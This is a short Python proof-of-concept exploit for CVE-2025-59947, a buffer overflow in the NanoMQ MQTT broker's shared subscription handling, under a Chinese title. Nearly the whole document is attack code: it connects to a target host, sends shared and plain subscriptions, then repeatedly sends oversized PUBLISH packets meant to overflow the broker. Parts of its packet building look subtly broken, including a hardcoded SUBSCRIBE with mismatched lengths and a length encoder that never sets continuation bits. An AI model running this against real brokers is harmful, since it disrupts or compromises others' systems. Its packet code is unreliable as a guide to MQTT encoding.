CVE-2025-59947 NanoMQ共享订阅缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-59947 PoC - NanoMQ Buffer Overflow in Shared Subscription Note: This PoC is for educational and security research purposes only. """ import socket import struct import time def create_mqtt_connect_packet(client_id): """Create MQTT CONNECT packet""" protocol_name = b'MQTT' protocol_level = b'\x04' # MQTT 3.1.1 connect_flags = b'\x02' # Clean session keep_alive = struct.pack('!H', 60) payload = struct.pack('!H', len(client_id)) + client_id.encode() variable_header = protocol_name + protocol_level + connect_flags + keep_alive remaining_length = len(variable_header) + len(payload) packet = b'\x10' + bytes([remaining_length]) + variable_header + payload return packet def create_mqtt_publish_packet(topic, payload, qos=1, dup=0, retain=0): """Create MQTT PUBLISH packet targeting both shared and vanilla subscriptions""" # Shared subscription topic: $share/group1/test/topic # This topic structure can trigger both shared and vanilla subscription matching packet_type = 0x30 | (dup << 3) | (qos << 1) | retain topic_bytes = topic.encode() variable_header = struct.pack('!H', len(topic_bytes)) + topic_bytes if qos > 0: packet_id = struct.pack('!H', 1) else: packet_id = b'' remaining_length = len(variable_header) + len(packet_id) + len(payload) # Build remaining length (up to 4 bytes for variable length encoding) rl_bytes = b'' x = remaining_length while True: rl_bytes = bytes([x % 128]) + rl_bytes x = x // 128 if x == 0: break # Fix the last byte to set the continuation bit to 0 rl_bytes = rl_bytes[:-1] + bytes([rl_bytes[-1] & 0x7F]) packet = bytes([packet_type]) + rl_bytes + variable_header + packet_id + payload return packet def create_shared_subscription_packet(group_id, topic_filter): """Create MQTT SUBSCRIBE packet for shared subscription""" # SUBSCRIBE packet type = 0x82 (SUBACK response = 0x90) packet_id = struct.pack('!H', 1001) # Shared subscription topic filter: $share/{group}/{filter} shared_topic = f"$share/{group_id}/{topic_filter}" topic_bytes = shared_topic.encode() # Topic filter length + topic + QoS byte payload = struct.pack('!H', len(topic_bytes)) + topic_bytes + bytes([1]) remaining_length = len(packet_id) + len(payload) packet = b'\x82' + bytes([remaining_length]) + packet_id + payload return packet def exploit(target_host, target_port=1883): """ Exploit CVE-2025-59947 by sending specially crafted PUBLISH packets that trigger both shared and vanilla subscription matching """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Exploiting CVE-2025-59947: NanoMQ Buffer Overflow") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print("[+] Connected to NanoMQ broker") # Step 1: Connect to the broker client_id = "poc_client_59947" connect_packet = create_mqtt_connect_packet(client_id) sock.send(connect_packet) print("[+] Sent CONNECT packet") # Step 2: Subscribe with shared subscription shared_sub = create_shared_subscription_packet("exploit_group", "test/#") sock.send(shared_sub) print("[+] Sent shared SUBSCRIBE packet") # Step 3: Also subscribe with vanilla subscription (same topic pattern) vanilla_sub = b'\x82\x0d\x03\xe8\x00\x09test/#\x01' sock.send(vanilla_sub) print("[+] Sent vanilla SUBSCRIBE packet") time.sleep(0.5) # Step 4: Send malicious PUBLISH packet # The topic is crafted to trigger both subscription types simultaneously # This causes buffer overflow in NanoMQ's subscription handling evil_topic = "test/payload" + "A" * 500 # Overflow payload evil_payload = b"X" * 1024 publish_packet = create_mqtt_publish_packet(evil_topic, evil_payload, qos=1) sock.send(publish_packet) print("[+] Sent malicious PUBLISH packet - buffer overflow triggered") # Step 5: Send multiple packets to maximize exploitation for i in range(10): sock.send(publish_packet) time.sleep(0.1) print("[+] Exploitation packets sent") sock.close() print("[+] Done - Check target for potential compromise") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "127.0.0.1" exploit(target)